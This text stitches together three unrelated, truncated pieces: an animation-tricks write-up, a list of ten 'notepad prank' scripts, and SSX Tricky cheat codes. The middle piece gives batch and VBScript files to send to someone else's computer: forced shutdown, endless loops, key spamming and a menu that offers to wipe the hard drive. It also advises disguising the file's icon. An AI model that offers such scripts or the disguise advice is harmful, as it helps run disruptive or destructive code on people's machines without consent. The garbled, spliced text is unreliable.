Animation Tricks

Animation can be thought of as a "trick". The good tricks are the ones that are not noticed unless they are pointed out. This write-up will describe four types of tricks: design, implementation, economization, and production [BLIN94] as well as tricks to animating characters [LASS94].

Design Tricks

The basic intent of animation is to communicate something. There are four types of design tricks: attraction tricks, distraction tricks, timing tricks, and motion enhancement.
Attraction Tricks

The direction of the viewer's attention to what the designer considers the important parts of the image is one of the most important aspects of designing either still or moving images. This is particularly important for moving images, as they are not on the screen for a long time; the viewer does not have the choice to study it for an extended length of time. One must get the viewer looking at the place where the new action will occur before it is all over. The following are ways of achieving this:

Appearing and Disappearing

Changes on the screen will get the eyes attention. Something changing from existence to non-existence, or vice versa, is pretty dramatic.
Blinking

Have something blink before it moves will get the viewer's attention.
Anticipation and Overshoot

Anticipate actions by having the objects backup a bit before moving in a desired direction.
The See-saw effect

Lead the viewer into some such transformation by "rubbing the transformation back and forth" a bit
Parallel action

To point up the connection between two things on different parts of the screen, attract attention to them by shaking them both up and down at the same time.
Tension and Release

Tension is created by making shapes seem unbalanced, nearly tipping over. Release comes from objects being firmly placed.
Hesitation

Make object(s) pause a little before moving them to their final positions. This builds up anticipation.
Distraction Tricks

Sometimes it is necessary to distract the viewer from something on the screen. This could be a glitch in animation rendering or it might be a short-cut the animator is using to avoid some lengthy or complicated computations. One example is the old switcheroo; sometimes different models are needed for the same object at different points in the animation.
Timing Tricks

These tricks apply to how long you make actions take to occur.
Speed adjustment

If a physical action happens too quickly to see, simply slow down the time scale. This is similar to scaling an object to fit on the screen.
Logarithmic zooms

When flying in to objects that vary greatly in scale, it is useful to animate the logarithm of the distance rather than the distance directly.
When to double/single frame

Double framing is the process of rendering every other frame and recording each rendered frame twice. This makes a motion seem to move faster and is sometimes used to add liveliness to the scene. Single framing is preferable to double framing except it takes longer to render.
Overlapping action

Having various actions overlap in time makes an animation seem more alive.
Motion Enhancement

It is difficult to convey some motions without exaggerating them in some way. For example:
Falling bodies

To give the impression of something falling continuously, put some texture in the background that scrolls as the object is tracked. Another technique is adding some random fluctuation to the position on the screen. This gives the impression of a falling object being tracked by a human cameraman.
Rolling Ball

To show a ball rolling down an inclined plane, add a simple line to the ball. This represents a highlight. When the ball is rolled down the plane, the highlight rotates with it looking just like a mark on the surface of the ball.
The spinning top

This is a problem of spinning a symmetric object. Placing a pair of black marks near the apex of the top (in a "+" shape) gives the asymmetry needed to follow the rotation. Another trick is the use of Gouraud shaded highlights. The number of polygons is small so the irregularities in the image, especially in the

Some Exciting Notepad Tricks 4 U

10 notepad tricks to fool ur frnds
10 notepad tricks to fool ur frnds
1>
Cycle a message in your friend's computer:

Type :

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save it as "Anything.BAT" and send it.

2>
Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

3>
Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

4>
Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

5>
Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

6>
Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :








WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

7>
Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

8>
Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

9>
Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.


10>
Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

Cheat, Codes & Secrets

The following cheats, codes, and secrets are available for SSX Tricky on the Nintendo Gamecube video game console.

Master code:
Hold L + R and press A, B, Z, X, Y, Z, B, Y, Z, X, A, Z at the title screen. Release L + R and a sound will confirm correct code entry.

Mallora board:
Hold L + R and press A(2), Z, X(2), Z, B(2), Z, Y(2), Z at the title screen. Release L + R and a sound will confirm correct code entry. Choose Elise and start a track. Elise will have the Mallora Board and a blue outfit. Note: This code only works for Elise.

Mix Master Mike:
Alternately, hold L + R and press A(2), Z, A(2), Z, A(2), Z, A(2), Z at the title screen. Release L + R and a sound will confirm correct code entry. Choose any rider at the character selection screen and he will be replaced by Mix Master Mike on the course, with his or her ubers. He has decks on his back and a vinyl board. Repeat the code to disable its effect.

Full stat points:
Hold L + R and press B(2), Z, B(2), Z, A(2), Z, A(2), Z at the title screen. Release L + R and a sound will confirm correct code entry. All the boarders will have full stat points.

Cheat menu:
Unlock all characters. Then successfully complete the world circuit using the following characters in order: JP, Mac, Psymon, Zoe, Eddie, Mike, Brodi, Kaori, Luther, and Marisol. Go to the main menu, select "Single Event", and go to "Cheats". in this menu, you can turn on two different secret characters with full stats, extra boards and outfits for all of the characters, and extra trick chapters for each character. There is also an infinite tricky meter option.

Pipedream course:
Win a medal on all Showoff courses.

Untracked course:
Win a medal on all Race courses.

Uberboards:
Unlock all of the tricks for a character to get their uberboard, which is their best board.

Alternate costumes:
To earn more costumes, complete all chapters in your trick book.

Play as Brodi:
Win a gold medal in world circuit mode.

Play as Zoe:
Win two gold medals in world circuit mode.

Play as JP:
Win three gold medals in world circuit mode.

Play as Kaori:
Win four gold medals in world circuit mode.

Play as Marisol:
Win five gold medals in world circuit mode.

Play as Psymon:
Win six gold medals in world circuit mode.

Play as Seeiah:
Win seven gold medals in world circuit mode.

Play as Luther:
Win eight gold medals in world circuit mode.

Hint: Super boost:
Do Uber Tricks until the letters on top of your adrenaline bar (T-R-I-C-K-Y) are filled in red. Your meter will stay full, give you unlimited boost, and enable you to do Uber Tricks without a time limit.

Hint: Faster flips
Start your flips with the D-pad, finish them off with the Analog-stick.

Hint: Board turn on rail
If your rider is on a rail with your board the long way (which is easier to fall off), you can switch your board sideways by pressing Left or Right. Your rider does not have to jump off, spin 90 degrees, and miss the rest of the rail.

Hint: Rail boost
If you are having trouble making it up a curved rail and need some speed, press B to activate your adrenaline. This can get you up almost any rail, no matter what your speed, and as long as you have some adrenaline.

Hint: Balance on rails
Move the C-stick to the Left and Right to balance on rails.

Hint: More points off rails
To get more points after you get off a rail, do a Misty, Rodeo, or something along those lines. Most of the rails are high enough to do this from, but for the ones that are not, do a 180 or more.

Hint: Easy "Master" rank
Enable the "Master code" and "Mix Master Mike" code. Then to the World Circuit and will all gold medals to get the "Master" rank.

Hint: Easy Tricky book completion
There is a huge cliff on the first jump of Garibaldi. Do all your tricks here.

Hint: Uber Tricks in Tricky book
Some Characters can only complete the Uber tricks with the long board. They are Marisol and Brodi. However, you can still complete up to Chapter 5 with the short boards.

Hint: Better flips and spins
Hold the direction you are going to spin or flip before you get off the jump to spin or flip fas